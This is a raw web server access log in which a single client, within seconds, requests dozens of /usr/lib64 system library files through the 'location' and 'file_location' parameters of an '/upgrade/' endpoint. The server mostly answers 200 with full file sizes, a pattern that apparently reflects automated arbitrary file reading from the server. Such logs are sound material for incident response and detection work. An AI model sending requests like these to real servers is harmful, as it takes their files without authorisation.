45.135.193.11 - - [11/Sep/2026:22:53:34 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibproxy HTTP/1.1" 200 5944 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibproxy" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibImath-3_1.so.29.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 168849 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibImath-3_1.so.29.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmu.so.6.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154593 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmu.so.6.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolord.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 252707 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolord.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgallium-25.2.7.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4308 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgallium-25.2.7.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz.so.0.20704.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 510259 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz.so.0.20704.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig2dec.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 159534 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjbig2dec.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:37 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgconv HTTP/1.1" 200 19548 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgconv" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-glib-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 176802 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjson-glib-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibg.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104334 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibg.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldb.so.2.11.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 203409 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldb.so.2.11.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_nss_idmap.so.0.6.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120421 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsss_nss_idmap.so.0.6.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116676 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburing.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shm.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108433 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-shm.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:39 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fxtables HTTP/1.1" 200 12454 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fxtables" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasprintf.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107777 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasprintf.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibev.so.4.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 134884 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibev.so.4.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dpms.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107890 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-dpms.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_util.so.4.51&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116373 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_util.so.4.51&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLLVM.so.21.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4304 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLLVM.so.21.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXft.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 147570 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXft.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgxps.so.2.2.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166663 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgxps.so.2.2.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccfg.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 171155 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibisccfg.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5.so.3.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 452281 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5.so.3.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsl.so.3.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116977 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnsl.so.3.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibonig.so.5.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 307736 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibonig.so.5.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpixman-1.so.0.40.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 398732 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpixman-1.so.0.40.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil-3.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116916 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil-3.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibini_config.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153570 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibini_config.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrdmacm.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156943 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrdmacm.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgs.so.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2955870 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgs.so.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrsvg-2.so.2.47.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4132780 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrsvg-2.so.2.47.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiff.so.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 311296 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiff.so.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinput.so.0.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 146051 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinput.so.0.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:47 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibuv HTTP/1.1" 200 6096 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibuv" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so.1.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107912 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaio.so.1.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfuse.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189530 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfuse.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam.so.0.85.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132572 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam.so.0.85.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpamc.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111624 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpamc.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrados.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 792319 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrados.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibseccomp.so.2.5.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153246 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibseccomp.so.2.5.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-cmd.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112926 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-cmd.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_utils.so.2.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118062 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_utils.so.2.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdns.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1119493 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdns.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutest.so.67.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 135869 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicutest.so.67.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjasper.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 257825 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjasper.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnetfilter_conntrack.so.3.8.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 154342 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnetfilter_conntrack.so.3.8.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-cds.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122738 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-cds.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-client.so.0.21.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128612 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-client.so.0.21.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-server.so.0.21.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138001 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-server.so.0.21.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbcinst.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133767 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbcinst.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpm.so.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 348609 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrpm.so.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslang.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 511775 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibslang.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwireplumber-0.5.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 347663 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwireplumber-0.5.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-composite.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107928 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-composite.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xv.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113269 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xv.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxslt.so.1.1.34&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 227686 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxslt.so.1.1.34&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXinerama.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108054 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXinerama.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:53:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibappstream-glib.so.8.0.10&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 303568 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibappstream-glib.so.8.0.10&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
